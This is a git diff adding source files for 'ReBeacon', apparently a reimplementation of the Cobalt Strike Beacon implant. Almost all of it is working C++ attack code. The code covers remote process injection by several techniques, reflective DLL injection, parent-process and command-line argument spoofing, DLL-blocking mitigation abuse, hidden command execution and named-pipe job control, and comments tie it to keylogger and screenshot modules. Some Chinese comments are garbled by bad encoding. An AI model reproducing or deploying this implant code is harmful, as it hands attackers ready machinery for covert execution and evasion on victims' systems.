pTokenHandle, + 0, + pBeaconStartProcess->path, + 0, + 0, + 1, + pBeaconStartProcess->dwCreationFlags, + 0, + 0, + pBeaconStartProcess->pSTARTUPINFOA, + pBeaconStartProcess->pPROCESS_INFORMATION)) + { + if (GetLastError() == ERROR_PRIVILEGE_NOT_HELD) + { + return sub_10003687(pBeaconStartProcess); + } + int LastError = GetLastError(); + BeaconTaskError1Output(0x29, LastError, pBeaconStartProcess->path); + return 0; + } + return 1; +} + + + + + +int sub_1000391C(BeaconStartProcess* pBeaconStartProcess) +{ + BeaconParameterSpoofing pBPS; + if ((pBeaconStartProcess->dwCreationFlags & 4) != 0 || !BeaconProcessParameterSpoofing(pBeaconStartProcess->path, &pBPS)) + { + return sub_10003889(pBeaconStartProcess); + } + char* cmd2 = pBPS.cmd2; + pBeaconStartProcess->dwCreationFlags |= 4u; + pBeaconStartProcess->path = cmd2; + int returnvalue = sub_10003889(pBeaconStartProcess); + int ret = sub_10003444(pBeaconStartProcess->pPROCESS_INFORMATION, &pBPS) == 0; + PROCESS_INFORMATION* pPROCESS_INFORMATION = pBeaconStartProcess->pPROCESS_INFORMATION; + if (ret) + { + TerminateProcess(pPROCESS_INFORMATION->hProcess, 0); + return 0; + } + else + { + ResumeThread(pPROCESS_INFORMATION->hThread); + return returnvalue; + } +} + +int __cdecl ProcessPPIDSet(BeaconCreateprocess* lpValue, DWORD dwProcessId, LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, STARTUPINFOA* psi) +{ + HANDLE hprocess = OpenProcess(0x1FFFFF, 0, dwProcessId); + if (!hprocess) + { + BeaconErrorDD(0x22u, dwProcessId, GetLastError()); + return 0; + } + lpValue->process = hprocess; + if (!UpdateProcThreadAttribute(lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpValue, sizeof(HANDLE), 0, 0)) + { + BeaconErrorD(0x47, GetLastError()); + CloseHandle(hprocess); + return 0; + } + if (!psi->hStdOutput) + { + if (!psi->hStdOutput == 0) + { + DuplicateHandle(GetCurrentProcess(), psi->hStdOutput, hprocess, &psi->hStdOutput, 0, TRUE, DUPLICATE_CLOSE_SOURCE| DUPLICATE_SAME_ACCESS); + } + if (psi->hStdError) + { + DuplicateHandle(GetCurrentProcess(), psi->hStdError, hprocess, &psi->hStdError, 0, TRUE, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS); + } + return 1; + } + + if (!psi->hStdError || psi->hStdOutput != psi->hStdError) + { + if (!psi->hStdOutput == 0) + { + DuplicateHandle(GetCurrentProcess(), psi->hStdOutput, hprocess, &psi->hStdOutput, 0, TRUE, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS); + } + + if (psi->hStdError) + { + DuplicateHandle(GetCurrentProcess(), psi->hStdError, hprocess, &psi->hStdError, 0, TRUE, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS); + } + return 1; + } + DuplicateHandle(GetCurrentProcess(), psi->hStdOutput, hprocess, &psi->hStdOutput, 0, TRUE, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS); + psi->hStdError = psi->hStdOutput; + return 1; +} + + +int __cdecl ProcessBlockdllsSet(BeaconCreateprocess* pBeaconCreateprocess, DWORD dwProcessId, LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, STARTUPINFOA* psi) +{ + DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON; + if (UpdateProcThreadAttribute(lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), 0, 0)) + { + pBeaconCreateprocess->SetErrorMode_value = SetErrorMode(0x8003); + return 1; + } + else + { + BeaconErrorD(0x47, GetLastError()); + return 0; + } +} + + +BeaconCreateprocess* InitProcessPPIDStruct(BeaconCreateprocess* pBeaconCreateprocess) +{ + pBeaconCreateprocess->process = (HANDLE)-1; + pBeaconCreateprocess->ProcessSettings = ProcessPPIDSet; + pBeaconCreateprocess->func2 = BeaconcloseHandle; + return pBeaconCreateprocess; +} +BeaconCreateprocess* InitProcessBlockdllsStruct(BeaconCreateprocess* pBeaconCreateprocess) +{ + pBeaconCreateprocess->ProcessSettings = ProcessBlockdllsSet; + pBeaconCreateprocess->func2 = BeaconSetErrorMode; + return pBeaconCreateprocess; +} + +int CreateProcessCore(BeaconStartProcess* pStartProcess, int PPIDPID) +{ + BOOL Opt = isPPIDAndBlockDLL(PPIDPID); + if (!Opt) + { + return sub_1000391C(pStartProcess); + } + _PROC_THREAD_ATTRIBUTE_LIST* lpAttributeList = CreateProcessAttributeList(Opt); + BeaconCreateprocess pBeaconCreateprocess1 = {0}; + BeaconCreateprocess pBeaconCreateprocess2 = {0}; + InitProcessPPIDStruct(&pBeaconCreateprocess1); + InitProcessBlockdllsStruct(&pBeaconCreateprocess2); + int ret = 0; + if ( + (!PPIDPID + || + pBeaconCreateprocess1.ProcessSettings(&pBeaconCreateprocess1, PPIDPID, lpAttributeList, pStartProcess->pSTARTUPINFOA) + ) + && + (gBeaconBlockDLL != 1 + || + pBeaconCreateprocess2.ProcessSettings(&pBeaconCreateprocess2, PPIDPID,lpAttributeList,pStartProcess->pSTARTUPINFOA) + ) + ) + { + + //佫STARTUPINFOA䵽STARTUPINFOEXA + STARTUPINFOEXA SIEX = {0}; + memcpy(&SIEX, pStartProcess->pSTARTUPINFOA, sizeof(STARTUPINFOA)); + SIEX.lpAttributeList = lpAttributeList; + SIEX.StartupInfo.cb = sizeof(STARTUPINFOEXA); + + pStartProcess->pSTARTUPINFOA = (STARTUPINFOA*)&SIEX; + pStartProcess->dwCreationFlags|= 0x80000; + ret = sub_1000391C(pStartProcess); + if (PPIDPID) + { + pBeaconCreateprocess1.func2(&pBeaconCreateprocess1); + } + if (gBeaconBlockDLL == 1) + { + pBeaconCreateprocess2.func2(&pBeaconCreateprocess2); + } + } + DeleteProcThreadAttributeList(lpAttributeList); + HeapFree(GetProcessHeap(), 0, lpAttributeList); + return ret; +} + + +int BeaconCreateProcess(char* path,int path_size,_STARTUPINFOA* sInfo,PROCESS_INFORMATION* pInfo,int dwCreationFlags,int ignoreToken,int PPID) +{ + BeaconStartProcess pStartProcess; + + pStartProcess.path = path; + pStartProcess.path_size = path_size; + pStartProcess.pSTARTUPINFOA = sInfo; + pStartProcess.pPROCESS_INFORMATION = pInfo; + pStartProcess.dwCreationFlags = dwCreationFlags; + pStartProcess.ignoreToken = ignoreToken; + return CreateProcessCore(&pStartProcess, PPID); +} + +int BeaconExecuteCommand(char* path,int path_size,STARTUPINFOA* sInfo,PROCESS_INFORMATION* pInfo,int dwCreationFlags,int ignoreToken) +{ + return BeaconCreateProcess(path, path_size, sInfo, pInfo, dwCreationFlags, ignoreToken, gBeaconPPID); +} + +int BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFOA* sInfo, PROCESS_INFORMATION* pInfo) +{ + char path[256] = { 0 }; + + getspawntopath(path, x86); + return BeaconExecuteCommand(path, strlen(path), sInfo, pInfo, 4, ignoreToken); +} + +/// +/// ʼBeaconProcessInject +/// +/// +/// +/// +/// +void sub_10004B81(HANDLE hProcess, PROCESS_INFORMATION* pi, int pid, BeaconProcessInject* pBeaconProcessInject) +{ + pBeaconProcessInject->hProcess = hProcess; + pBeaconProcessInject->Process_PID = pid; + pBeaconProcessInject->Flag_FALSE = X86orX64() != 0; + int v5 = is_process_arch(hProcess) != 0; + int v6 = v5 == pBeaconProcessInject->Flag_FALSE; + pBeaconProcessInject->is_process_arch = v5; + pBeaconProcessInject->is_system_process = v6; + pBeaconProcessInject->is_Process_self = pid == GetCurrentProcessId(); + if (pi) + { + pBeaconProcessInject->ishThread = 1; + pBeaconProcessInject->hThread = pi->hThread; + } + else + { + pBeaconProcessInject->ishThread = 0; + pBeaconProcessInject->hThread = 0; + } +} + +/// +/// ڴ +/// +/// +/// +/// +/// +PVOID sub_10005053(HANDLE ProcessHandle, char* payload, size_t Size) +{ + PVOID BaseAddress = 0; + ULONG_PTR ViewSize =0; + int min_alloc = get_dword(45);//.process-inject.min_alloc + if (Size > min_alloc) + { + min_alloc = Size; + } + auto ntdllbase = GetModuleHandleA("ntdll.dll"); + NtMapViewOfSection_t NtMapViewOfSection = (NtMapViewOfSection_t)GetProcAddress(ntdllbase, "NtMapViewOfSection"); + if (!NtMapViewOfSection) + { + return 0; + } + HANDLE FileMappingA = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, min_alloc, 0); + if (FileMappingA != (HANDLE)-1) + { + PVOID payloadaddr = MapViewOfFile(FileMappingA, FILE_MAP_ALL_ACCESS, 0, 0, 0); + if (payloadaddr) + { + memcpy(payloadaddr, payload, Size); + int userwx = get_short(44); //.process-inject.userwx + NtMapViewOfSection(FileMappingA, ProcessHandle, &BaseAddress, 0, 0, 0, &ViewSize, 1, 0, userwx); + UnmapViewOfFile(payloadaddr); + } + CloseHandle(FileMappingA); + } + if (!BaseAddress) + { + BeaconErrorD(0x49u, GetLastError()); + } + return BaseAddress; +} + + +char* sub_10005120(HANDLE ProcessHandle, char* payload, size_t Size) +{ + + int min_alloc = get_dword(45); + if (Size > min_alloc) + { + min_alloc = Size; + } + int startrwx = get_short(43);//.process-inject.startrwx + char* payloadaddr = (char*)VirtualAllocEx(ProcessHandle, 0, min_alloc, 0x3000u, startrwx); + if (!payloadaddr) + { + BeaconErrorDD(0x1Fu, min_alloc, GetLastError()); + return 0; + } + int NumberBytes = 0; + SIZE_T NumberOfBytesWritten = 0; + DWORD flOldProtect = 0; + if (Size > 0) + { + while (WriteProcessMemory(ProcessHandle, &payloadaddr[NumberBytes], &payload[NumberBytes], Size - NumberBytes, &NumberOfBytesWritten)) + { + NumberBytes += NumberOfBytesWritten; + if (!NumberOfBytesWritten) + { + return 0; + } + if (NumberBytes >= Size) + { + int userwx = get_short(44); + if (get_short(43) != userwx) + { + if (!VirtualProtectEx(ProcessHandle, payloadaddr, min_alloc, userwx, &flOldProtect)) + { + BeaconErrorD(0x11u, GetLastError()); + return 0; + } + } + return payloadaddr; + } + } + BeaconErrorD(0x10, GetLastError()); + return 0; + } + int userwx = get_short(44); + if (get_short(43) != userwx) + { + if (!VirtualProtectEx(ProcessHandle, payloadaddr, min_alloc, userwx, &flOldProtect)) + { + BeaconErrorD(0x11, GetLastError()); + return 0; + } + } + return payloadaddr; +} + + +BOOL sub_100054CC(char* payload, int p_len) +{ + return p_len >= 51200 && *(WORD*)payload == 'ZM' && *((DWORD*)payload + 255) == 0xF4F4F4F4; +} + +/// +/// ʼעеһЩ +/// +/// +/// +/// +void sub_100054F7(char* payload, BeaconProcessInject* pBeaconProcessInject, int p_len) +{ + ULONG_PTR* data = (DWORD_PTR*)payload; + if (sub_100054CC(payload, p_len)) + { + if (pBeaconProcessInject->is_system_process) + { + data[252] = (ULONG_PTR)GetProcAddress; + data[251] = (ULONG_PTR)LoadLibraryA; + data[253] = (ULONG_PTR)VirtualAlloc; + data[255] = 61453; + data[254] = (ULONG_PTR)VirtualProtect; + } + } +} + + +char* allocator_option(size_t payload_size, BeaconProcessInject* pBeaconProcessInject, char* payload) +{ + char* result; + // Զڴķʽ VirtualAllocEx or NtMapViewOfSection + if (get_short(52) == 1 && pBeaconProcessInject->is_system_process) + { + result = (char*)sub_10005053(pBeaconProcessInject->hProcess, payload, payload_size); + } + else + { + result = sub_10005120(pBeaconProcessInject->hProcess, payload, payload_size); + } + return result; +} + +char* sub_1000520B(size_t payload_size, char* payload) +{ + + int min_alloc = get_dword(45); + if (payload_size > min_alloc) + { + min_alloc = payload_size + 1024; + } + int startrwx = get_short(43); + char* payloadAddress = (char*)VirtualAlloc(0, min_alloc, MEM_RESERVE | MEM_COMMIT, startrwx); + if (payloadAddress) + { + memcpy(payloadAddress, payload, payload_size); + return CheckMemoryRWX(payloadAddress, min_alloc) != 0 ? payloadAddress : 0; + } + else + { + BeaconErrorDD(0x1F, min_alloc, GetLastError()); + return 0; + } +} + + + + + +#include "BeaconX64.h" +int sub_10004955(BeaconProcessInject* pBeaconProcessInject, int prepended_data_size, char* BaseAddress, LPVOID lpParameter) +{ + datap pdatap; + char* process_inject_execute = get_str(51);//.process-inject.execute + + BeaconDataParse(&pdatap, process_inject_execute, 128); + while (2) + { + switch (BeaconDataByte(&pdatap)) + { + case 0: + return 0; + case 1: + { + if (!pBeaconProcessInject->is_Process_self) + { + continue; + } + if (!BeaconCreateThread((LPTHREAD_START_ROUTINE)&BaseAddress[prepended_data_size], lpParameter)) + { + continue; + } + return 1; + } + case 2: + if (!pBeaconProcessInject->ishThread) + { + continue; + } + + #ifdef _WIN64 + if (!sub_1800121D8(pBeaconProcessInject, (DWORD64)&BaseAddress[prepended_data_size], (DWORD64)lpParameter)) + { + continue; + } + return 1; + + #else + if (!sub_10005463(pBeaconProcessInject, &BaseAddress[prepended_data_size], lpParameter)) + { + continue; + } + return 1; + + #endif // _WIN64 + + case 3: + if (!pBeaconProcessInject->is_system_process) + { + continue; + } + if (!BeaconCreateRemoteThread(pBeaconProcessInject->hProcess, (LPTHREAD_START_ROUTINE)&BaseAddress[prepended_data_size], lpParameter)) + { + continue; + } + return 1; + case 4: + if (pBeaconProcessInject->is_system_process) + { + if (!BeaconRtlCreateUserThread(pBeaconProcessInject->hProcess, &BaseAddress[prepended_data_size], lpParameter)) + { + continue; + } + return 1; + } + if (sub_1000535D(pBeaconProcessInject->hProcess, &BaseAddress[prepended_data_size], lpParameter)) + { + return 1; + } + if (!pBeaconProcessInject->is_system_process) + { + continue; + } + if (!BeaconRtlCreateUserThread(pBeaconProcessInject->hProcess, &BaseAddress[prepended_data_size], lpParameter)) + { + continue; + } + return 1; + case 5: + if (pBeaconProcessInject->is_Process_self || !pBeaconProcessInject->is_system_process || pBeaconProcessInject->ishThread) + { + continue; + } + if (!sub_10004DDE(pBeaconProcessInject, &BaseAddress[prepended_data_size], lpParameter)) + { + continue; + } + return 1; + case 6: + { + int offset = BeaconDataShort(&pdatap); + char* lpModuleName = BeaconDataPtr2(&pdatap); + char* lpProcName = BeaconDataPtr2(&pdatap); + if (!pBeaconProcessInject->is_Process_self) + { + continue; + } + if (!sub_10004FA1(6, pBeaconProcessInject->hProcess, &BaseAddress[prepended_data_size], lpParameter, lpModuleName, lpProcName, offset)) + { + continue; + } + return 1; + } + + case 7: + { + int offset = BeaconDataShort(&pdatap); + char* lpModuleName = BeaconDataPtr2(&pdatap); + char* lpProcName = BeaconDataPtr2(&pdatap); + if (!pBeaconProcessInject->is_system_process) + { + continue; + } + if (!sub_10004FA1(7, pBeaconProcessInject->hProcess, &BaseAddress[prepended_data_size], lpParameter, lpModuleName, lpProcName, offset)) + { + continue; + } + return 1; + } + case 8: + if (!pBeaconProcessInject->ishThread || !pBeaconProcessInject->is_system_process) + { + continue; + } + if (!BeaconNtQueueApcThread(pBeaconProcessInject, &BaseAddress[prepended_data_size], lpParameter)) + { + continue; + } + return 1; + default: + continue; + } + } +} + + + +void sub_10004B35(size_t payload_size, BeaconProcessInject* pBeaconProcessInject, int prepended_data_size, char* payload, LPVOID lpParameter) +{ + char* BaseAddress; + if (pBeaconProcessInject->is_Process_self) + { + BaseAddress = (char*)sub_1000520B(payload_size, payload);// ע + } + else + { + BaseAddress = allocator_option(payload_size, pBeaconProcessInject, payload); + } + if (BaseAddress) + { + if (!sub_10004955(pBeaconProcessInject, prepended_data_size, BaseAddress, lpParameter))// ע + { + BeaconErrorDD(0x48u, pBeaconProcessInject->Process_PID, GetLastError()); + } + } +} + + +void ProcessInject(int pid, PROCESS_INFORMATION* pi, HANDLE hProcess, char* payload, size_t p_len, int p_offset, char* arg, int a_len) +{ + + char* parameter_addr; + BeaconProcessInject pBeaconProcessInject; + sub_10004B81(hProcess, pi, pid, &pBeaconProcessInject); + sub_100054F7(payload, &pBeaconProcessInject, p_len); + char* process_inject_transform = get_str((pBeaconProcessInject.is_process_arch == 1) + 46);// 46 .process-inject.transform-x86 256 bytes + // 47 .process-inject.transform-x64 256 bytes + datap pdatap; + BeaconDataParse(&pdatap, process_inject_transform, 256); + + //˴Ǵע븽payloadǰԶݲ + int prepended_data_size = BeaconDataInt(&pdatap); + char* prepended_data = BeaconDataPtr(&pdatap, prepended_data_size); + int appended_data_size = BeaconDataInt(&pdatap); + char* appended_data = BeaconDataPtr(&pdatap, appended_data_size); + if (a_len <= 0) + { + parameter_addr = 0; + } + else + { + parameter_addr = allocator_option(a_len, &pBeaconProcessInject, arg); + } + if (prepended_data_size || appended_data_size) + { + BeaconFormatAlloc((formatp*)&pdatap, appended_data_size + prepended_data_size + p_len + 16); + BeaconFormatAppend((formatp*)&pdatap, prepended_data, prepended_data_size); + BeaconFormatAppend((formatp*)&pdatap, payload, p_len); + BeaconFormatAppend((formatp*)&pdatap, appended_data, appended_data_size);// װpayload + int buff_size = BeaconFormatlength((formatp*)&pdatap); + char* buff = BeaconFormatOriginalPtr((formatp*)&pdatap); + sub_10004B35(buff_size, &pBeaconProcessInject, p_offset + prepended_data_size, buff, parameter_addr); + BeaconFormatFree((formatp*)&pdatap); + } + else + { + sub_10004B35(p_len, &pBeaconProcessInject, p_offset, payload, parameter_addr); + } +} + + +/// +/// BeaconڲkeyLogger Printscreen PsInject Screenshot Screenwatchʹõķdllע +/// +/// +/// +/// +void BeaconReflectiveDLLInject(char* Taskdata, int Taskdata_size, int x86) +{ + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Taskdata_size); + DWORD pid = BeaconDataInt(&pdatap); + int p_offset = BeaconDataInt(&pdatap); + HANDLE hProcess = OpenProcess(1082u, 0, pid); + if (!hProcess) + { + BeaconErrorDD(33, pid, GetLastError()); + return; + } + int arch = is_process_arch(hProcess); + if (!x86) + { + if (!arch) + { + BeaconErrorD(19, pid); + return; + } + int payloadsize = BeaconDataLength(&pdatap); + char* payload = BeaconDataBuffer(&pdatap); + ProcessInject(pid, 0, hProcess, payload, payloadsize, p_offset, 0, 0);// ע뺯 + CloseHandle(hProcess); + return; + } + if (!arch) + { + int payloadsize = BeaconDataLength(&pdatap); + char* payload = BeaconDataBuffer(&pdatap); + ProcessInject(pid, 0, hProcess, payload, payloadsize, p_offset, 0, 0);// ע뺯 + CloseHandle(hProcess); + return; + } + BeaconErrorD(18, pid); +} + +/// +/// +/// +/// +/// +/// +/// +void BeaconSpawnX86(BOOL ignoreToken, char* data, size_t Size, BOOL x86) +{ + + STARTUPINFOA StartupInfo; + _PROCESS_INFORMATION pi = { 0 }; + check_close_token_fake(ignoreToken); + StartupInfo = { 0 }; + StartupInfo.cb = sizeof(STARTUPINFOA); + GetStartupInfoA(&StartupInfo); + StartupInfo.wShowWindow = 0; + StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; + StartupInfo.hStdOutput = 0; + StartupInfo.hStdError = 0; + StartupInfo.hStdInput = 0; + if (BeaconSpawnTemporaryProcess(x86, ignoreToken, &StartupInfo, &pi)) + { + Sleep(100); + ProcessInject(pi.dwProcessId, &pi, pi.hProcess, data, Size, 0, 0, 0); + check_restore_token_fake(ignoreToken); + BeaconcloseAllHandle(&pi); + } + else + { + check_restore_token_fake(ignoreToken); + } + +} + + +void BeaconWow64DisableWow64FsRedirection(PVOID* OldValue) +{ + Wow64DisableWow64FsRedirection(OldValue); +} +void BeaconWow64RevertWow64FsRedirection(PVOID OldValue) +{ + Wow64RevertWow64FsRedirection(OldValue); +} + + +void ExecuteCommand(char* cmd, int cmdsize) +{ + PROCESS_INFORMATION pi = {0}; + SECURITY_ATTRIBUTES PipeAttributes; + PipeAttributes.lpSecurityDescriptor = 0; + PipeAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); + PipeAttributes.bInheritHandle = 1; + + HANDLE hReadPipe; + HANDLE hWritePipe; + CreatePipe(&hReadPipe, &hWritePipe, &PipeAttributes, 0x100000u); + + STARTUPINFOA StartupInfo; + StartupInfo.cb = sizeof(STARTUPINFOA); + GetStartupInfoA(&StartupInfo); + StartupInfo.wShowWindow = 0; + StartupInfo.hStdOutput = hWritePipe; + StartupInfo.hStdError = hWritePipe; + StartupInfo.dwFlags = 257; + StartupInfo.hStdInput = 0; + if (BeaconExecuteCommand(cmd, cmdsize, &StartupInfo, &pi, CREATE_NEW_CONSOLE, 0)) + { + WaitForSingleObject(pi.hProcess, 0x2710); + Add_Beacon_0Job(pi.hProcess, pi.hThread, pi.dwProcessId, pi.dwThreadId, hReadPipe, hWritePipe, "process")->JobType = 30; + } +} + +void BeaconRunCommand(char* Taskdata, int Taskdata_size) +{ + datap* pdatap = BeaconDataInit(0x8000u); + char* envpath = BeaconDataPtr(pdatap, 0x2000); + char* exepath = BeaconDataPtr(pdatap, 0x2000); + char* arg = BeaconDataPtr(pdatap, 0x2000); + char* Command = (char*)BeaconDataPtr(pdatap, 0x2000); + + datap taskdatap; + BeaconDataParse(&taskdatap, Taskdata, Taskdata_size); + BeaconDataCopyToBuffer(&taskdatap, envpath, 0x2000); + BeaconDataCopyToBuffer(&taskdatap, arg, 0x2000); + int redirect = BeaconDataShort(&taskdatap); + BeaconExpandEnvironmentStringsA(envpath, exepath, 0x2000u); + strncat_s(Command, 0x2000u, exepath, 0x2000u); + strncat_s(Command, 0x2000u, arg, 0x2000u); + PVOID OldValue; + if ((redirect & 1) != 0) + { + BeaconWow64DisableWow64FsRedirection(&OldValue); + ExecuteCommand(Command, strlen(Command) + 1); + BeaconWow64RevertWow64FsRedirection(OldValue); + } + else + { + ExecuteCommand(Command, strlen(Command) + 1); + } + BeaconDataClearFree(pdatap); +} + + + + + +//************************************ +// Method: AddSpoofArgs +// FullName: AddSpoofArgs +// Access: public +// Returns: BeaconSpoofArgs* +// Qualifier:gBeaconParameterSpoofingǷͬƭ +// Parameter: const char * buffer +//************************************ +BeaconSpoofArgs* AddSpoofArgs(const char* buffer) +{ + + BeaconSpoofArgs* oldgBeaconParameterSpoofing = gBeaconParameterSpoofing; + BeaconSpoofArgs* pgBeaconParameterSpoofing = gBeaconParameterSpoofing; + if (pgBeaconParameterSpoofing) + { + while (pgBeaconParameterSpoofing->state != 1 || strcmp(buffer, pgBeaconParameterSpoofing->cmd1)) + { + pgBeaconParameterSpoofing = pgBeaconParameterSpoofing->Linked; + if (!pgBeaconParameterSpoofing) + { + BeaconSpoofArgs* temp = (BeaconSpoofArgs*)malloc(0x4008u); + memset(temp, 0, sizeof(BeaconSpoofArgs)); + temp->state = 0; + temp->Linked = oldgBeaconParameterSpoofing; + gBeaconParameterSpoofing = temp; + return temp; + } + } + } + else + { + BeaconSpoofArgs* temp = (BeaconSpoofArgs*)malloc(0x4008u); + memset(temp, 0, sizeof(BeaconSpoofArgs)); + temp->state = 0; + temp->Linked = oldgBeaconParameterSpoofing; + gBeaconParameterSpoofing = temp; + return temp; + } +} + +void BeaconSpoofArgsAdd(char* Taskdata, int Taskdata_size) +{ + + datap* pdatap = BeaconDataInit(0x6000u); + char* envpath = BeaconDataPtr(pdatap, 0x2000); + char* processpath = BeaconDataPtr(pdatap, 0x2000); + char* arg = BeaconDataPtr(pdatap, 0x2000); + + datap taskdatap; + BeaconDataParse(&taskdatap, Taskdata, Taskdata_size); + BeaconDataCopyToBuffer(&taskdatap, envpath, 0x2000); + BeaconExpandEnvironmentStringsA(envpath, processpath, 0x2000u); + BeaconDataCopyToBuffer(&taskdatap, arg, 0x2000); + BeaconSpoofArgs* pBeaconSpoofArgs = AddSpoofArgs(processpath); + pBeaconSpoofArgs->state = 1; + BeaconExpandEnvironmentStringsA(envpath, pBeaconSpoofArgs->cmd1, 0x2000u); + BeaconExpandEnvironmentStringsA(arg, pBeaconSpoofArgs->cmd2, 0x2000u); + BeaconDataClearFree(pdatap); +} + +void SpoofArgsRemove(char* Taskdata, int Taskdata_size) +{ + BeaconSpoofArgs* pgBeaconParameterSpoofing = gBeaconParameterSpoofing; + char* buffer = (char*)malloc(0x2000u); + Taskdata[Taskdata_size] = 0; + BeaconExpandEnvironmentStringsA(Taskdata, buffer, 0x2000u); + while (pgBeaconParameterSpoofing) + { + if (pgBeaconParameterSpoofing->state == 1 && !strcmp(pgBeaconParameterSpoofing->cmd1, buffer)) + { + pgBeaconParameterSpoofing->state = 0; + memset(pgBeaconParameterSpoofing->cmd1, 0, sizeof(pgBeaconParameterSpoofing->cmd1)); + memset(pgBeaconParameterSpoofing->cmd2, 0, sizeof(pgBeaconParameterSpoofing->cmd2)); + } + pgBeaconParameterSpoofing = pgBeaconParameterSpoofing->Linked; + } + memset(buffer, 0, 0x2000u); + free(buffer); +} + +void SpoofArgsList() +{ + formatp pformatp; + BeaconFormatAlloc(&pformatp, 0x8000u); + BeaconSpoofArgs* pgBeaconParameterSpoofing = gBeaconParameterSpoofing; + while (pgBeaconParameterSpoofing) + { + if (pgBeaconParameterSpoofing->state == 1) + { + BeaconFormatPrintf(&pformatp, (char*)"%s\n", pgBeaconParameterSpoofing->cmd2); + } + pgBeaconParameterSpoofing = pgBeaconParameterSpoofing->Linked; + } + int length = BeaconFormatlength(&pformatp); + char* buffer = BeaconFormatOriginalPtr(&pformatp); + BeaconTaskOutput(buffer, length, 0); + BeaconFormatFree(&pformatp); +} \ No newline at end of file diff --git a/ReBeacon_Src/BeaconInject.h b/ReBeacon_Src/BeaconInject.h new file mode 100644 index 0000000..7f379c2 --- /dev/null +++ b/ReBeacon_Src/BeaconInject.h @@ -0,0 +1,30 @@ +#pragma once +#include "Global.h" +#include "Utils.h" +#include "comm.h" +#include "common.h" + +int __cdecl sub_10003687(BeaconStartProcess* pBeaconStartProcess); + +void ProcessInject(int pid, PROCESS_INFORMATION* pi, HANDLE hProcess, char* payload, size_t p_len, int p_offset, char* arg, int a_len); + +int BeaconExecuteCommand(char* path, int path_size, STARTUPINFOA* sInfo, PROCESS_INFORMATION* pInfo, int Flag, int ignoreToken); + +void BeaconSpawnX86(BOOL ignoreToken, char* data, size_t Size, BOOL x86); + +void BeaconReflectiveDLLInject(char* Taskdata, int Taskdata_size, int x86); + +int BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFOA* sInfo, PROCESS_INFORMATION* pInfo); + +int BeaconCreateProcess(char* path, int path_size, _STARTUPINFOA* sInfo, PROCESS_INFORMATION* pInfo, int dwCreationFlags, int ignoreToken, int PPID); + +void BeaconRunCommand(char* Taskdata, int Taskdata_size); + +void BeaconSpoofArgsAdd(char* Taskdata, int Taskdata_size); + +void SpoofArgsRemove(char* Taskdata, int Taskdata_size); + +void SpoofArgsList(); + +void getspawntopath(char* path_buffer, BOOL x86); + diff --git a/ReBeacon_Src/BeaconJob.cpp b/ReBeacon_Src/BeaconJob.cpp new file mode 100644 index 0000000..da010e9 --- /dev/null +++ b/ReBeacon_Src/BeaconJob.cpp @@ -0,0 +1,346 @@ +#include "BeaconJob.h" +#include "ChildBeacon.h" + + +int g_job_Number; +BeaconJob* gBeaconJob; +BOOL ConnectPipe(int dwFlagsAndAttributes, HANDLE* hNamedPipe, LPCSTR lpNamedPipeName) +{ + HANDLE i; + DWORD Mode; + dwFlagsAndAttributes = dwFlagsAndAttributes | 0x100000; + for (i = CreateFileA(lpNamedPipeName, GENERIC_READ | GENERIC_WRITE, 0, 0, 3u, dwFlagsAndAttributes | 0x100000, 0); + ; + i = CreateFileA(lpNamedPipeName, GENERIC_READ | GENERIC_WRITE, 0, 0, 3u, dwFlagsAndAttributes, 0)) + { + *hNamedPipe = i; + if (i != (HANDLE)-1) + { + break; + } + if (GetLastError() != 231) + { + return 0; + } + if (!WaitNamedPipeA(lpNamedPipeName, 0x2710)) + { + SetLastError(0x102); + return 0; + } + } + Mode = 0; + if (SetNamedPipeHandleState(*hNamedPipe, &Mode, 0, 0)) + { + return 1; + } + DisconnectNamedPipe(*hNamedPipe); + CloseHandle(*hNamedPipe); + return 0; +} + + +//************************************ +// Method: ConnectJobPipe +// FullName: ConnectJobPipe +// Access: public +// Returns: BOOL +// Qualifier:ӵdllܵ +// Parameter: HANDLE * hNamedPipe +// Parameter: int dwFlagsAndAttributes +// Parameter: CHAR * NamedPipeName +//************************************ +BOOL ConnectJobPipe(HANDLE* hNamedPipe, int dwFlagsAndAttributes, CHAR* NamedPipeName) +{ + if (dwFlagsAndAttributes) + { + return ConnectPipe(dwFlagsAndAttributes, hNamedPipe, NamedPipeName); + } + BOOL ret = ConnectPipe(0, hNamedPipe, NamedPipeName); + if (!ret && GetLastError() == 5) + { + close_token_fake(); + ret = ConnectPipe(0, hNamedPipe, NamedPipeName); + restore_token_fake(); + } + return ret; +} + +void CheckTimeout(HANDLE hNamedPipe, int timeout) +{ + DWORD TotalBytesAvail = 0; + int time = timeout + GetTickCount(); + while (GetTickCount() < time && PeekNamedPipe(hNamedPipe, 0, 0, 0, &TotalBytesAvail, 0) && !TotalBytesAvail) + { + Sleep(500); + } +} + + +void Add_Beacon_Job(BeaconJob* pBeaconJob) +{ + pBeaconJob->JobNumber = g_job_Number; + ++g_job_Number; + BeaconJob* pgBeaconJob = gBeaconJob; + BeaconJob* temp; + if (pgBeaconJob) + { + do + { + temp = pgBeaconJob; + pgBeaconJob = pgBeaconJob->Linked; + } while (pgBeaconJob); + temp->Linked = pBeaconJob; + } + else + { + gBeaconJob = pBeaconJob; + } +} + +void Add_BeaconInternal_Job(HANDLE hNamedPipe, int job_process_pid, int job_type, char* job_name, int lasting) +{ + BeaconJob* psshBeaconJob = (BeaconJob*)malloc(sizeof(BeaconJob)); + psshBeaconJob->hWritePipe = (HANDLE)-1; + psshBeaconJob->Linked = 0; + psshBeaconJob->hReadPipe = hNamedPipe; + psshBeaconJob->state = 1; + 